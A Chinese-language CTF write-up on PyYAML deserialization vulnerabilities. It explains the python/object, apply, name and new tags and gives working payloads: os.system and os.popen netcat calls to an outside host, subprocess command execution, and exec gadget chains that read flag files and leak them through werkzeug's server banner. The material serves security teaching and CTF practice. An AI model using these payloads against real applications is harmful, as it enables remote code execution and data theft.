CTF-web: Python YAML反序列化利用
PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞
从 PyYaml 版本 6.0 开始,
load
的默认加载器已切换到 SafeLoader,以降低远程代码执行的风险。更新后易受攻击的是yaml.unsafe_load
和yaml.load(input, Loader=yaml.UnsafeLoader)
1.!!python/object:
!!python/object
标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象
import yaml
class MyClass:
def __init__(self, attribute1, attribute2):
self.attribute1 = attribute1
self.attribute2 = attribute2
def __repr__(self):
return f"MyClass(attribute1={self.attribute1}, attribute2={self.attribute2})"
# 创建一个对象
obj = MyClass('value1', 'value2')
# 序列化对象为 YAMLyaml_str = yaml.dump(obj)
print(yaml_str)
!!python/object:__main__.MyClass
attribute1: value1
attribute2: value2
2.!!python/object/apply:
!!python/object/apply
标签在 YAML 中用于表示调用一个可调用对象(例如函数或构造函数)并将其结果表示为一个对象。
import yaml
yaml.load('!!python/object/apply:print [\'Hello,Word\']', Loader=yaml.UnsafeLoader)
import yaml
yaml.load('''
!!python/object/apply:print
- 'hello world'
''', Loader=yaml.UnsafeLoader)
利用
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
.....
3.!!python/name:
查看以下 YAML 数据:
!!python/name:math.pi
在这个例子中,!!python/name:math.pi
标签指向了 Python 的 math
模块中的 pi
常量。反序列化过程中,PyYAML 会将其解析为 math.pi
的值,即圆周率 3.141592653589793
。
假设你有一个 Python 函数 add
,你想在 YAML 中引用它:
# example.py
def add(a, b):
return a + b
你可以在 YAML 文件中这样写:
!!python/name:example.add
在反序列化时,这个 YAML 数据会被解释为 example
模块中的 add
函数。
4.!!python/object/new:
!!python/object/new:
允许直接创建新的 Python 对象,而不是通过调用构造函数
语法结构
!!python/object/new
标记的 YAML 语法结构如下:
!!python/object/new:<class>
args:
- arg1
- arg2
state:
attribute1: value1
attribute2: value2
在这个结构中:
<class>
是你想要创建的类的全限定名。args
是一个列表,包含传递给新对象 new 方法的参数。state
是一个映射,包含对象的属性和值。
利用
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
或更复杂的利用
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
-
!!python/object/new:str
这一标签告诉 PyYAML 创建一个新的 Python
str
对象。!!python/object/new:ClassName
是 PyYAML 的特殊标签,用于通过调用类的__new__
方法创建对象。 -
state: !!python/tuple
这是为
str
对象设置一个属性state
,其值是一个 Python 元组(tuple
) -
update: !!python/name:exec
这一部分创建了一个新的
Warning
对象,并为其设置了一个state
属性。state
属性是一个字典,其中update
键被赋值为exec
函数。
这段数据等价于
Warning.update('print(getattr(open("flag.txt"), "read")())')
由于 Warning.update
被指向了 exec
函数,这实际上变成了
exec('print(getattr(open("flag.txt"), "read")())')
还有更多用法
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
'python code'
替换server_version常量
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
r=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",r )
References
PayloadsAllTheThings/Insecure Deserialization/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
Python Yaml Deserialization - hacktricks.xyz
YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13
PyYAML Documentation
Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021
[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt
DASCTF2024最后一战|寒夜破晓,冬至终章 官方WP
本文由A5rZ,整理编写